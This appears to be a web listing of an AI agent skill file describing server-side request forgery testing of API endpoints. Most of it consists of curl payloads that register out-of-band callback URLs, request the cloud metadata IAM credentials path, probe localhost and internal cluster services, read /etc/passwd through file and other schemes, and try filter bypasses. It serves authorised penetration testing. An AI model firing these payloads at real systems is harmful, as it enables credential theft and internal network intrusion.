Api ssrf

From xalgorix/xalgorix · View interactive version

Api ssrf is an AI agent skill from the GitHub repository xalgorix/xalgorix. Server-Side Request Forgery testing on API endpoints that accept URLs, webhooks, callbacks, or file references

How to use this skill

Skill file

API SSRF (OWASP API7)

Purpose

Test API endpoints that fetch, validate, or process external URLs for server-side request forgery.

Preconditions

Attack Surface Signals

Methodology

Step 1: Identify SSRF Candidates

Look for API parameters that accept:

Step 2: Baseline with OOB Callback

# Generate an OOB callback token
# (use Xalgorix's oob_callback tool or interactsh)

# Test with the callback URL
curl -sk -X POST "https://TARGET/api/webhooks/register" \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url":"https://OOB_TOKEN.oast.pro/test"}'

# Poll for the callback (OOB interaction proves the server made the request)

Step 3: Internal Network Probing

# Cloud metadata endpoints
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Internal services
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://localhost:8080/admin"}'

# Internal DNS
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://internal-service.namespace.svc.cluster.local:8080/"}'

Step 4: Scheme Manipulation

# Try different schemes
for scheme in file ftp gopher dict ldap; do
  curl -sk -X POST "https://TARGET/api/fetch" \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"${scheme}:///etc/passwd\"}"
done

# file:// scheme
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"file:///etc/passwd"}'

Step 5: Filter Bypass

# URL encoding
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254%23.latest/meta-data"}'

# Redirect bypass: host a redirect on your OOB domain
# that redirects to http://169.254.169.254/latest/
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://OOB_TOKEN.oast.pro/redirect"}'

# DNS rebinding (advanced)
# IPv6
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://[::1]:8080/"}'

Evidence Contract

An SSRF finding requires:

  1. OOB callback received from the TARGET's infrastructure (not from the scanner)
  2. OR internal service response content returned in the API response
  3. The request was made by the SERVER (not the browser/client)

NOT evidence: The endpoint accepts a URL parameter, a 200 response from the endpoint, an error mentioning "connection refused" (may be the client, not the server)

Common Misses

False Positives / Non-Findings

Xalgorix Tool Strategy

Stopping Rule

Test every URL-accepting parameter with OOB, metadata, internal service, scheme, and filter bypass payloads.

Handoff

Report each confirmed SSRF with the endpoint, the parameter, the OOB evidence (or response content), and what internal resource was accessed.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.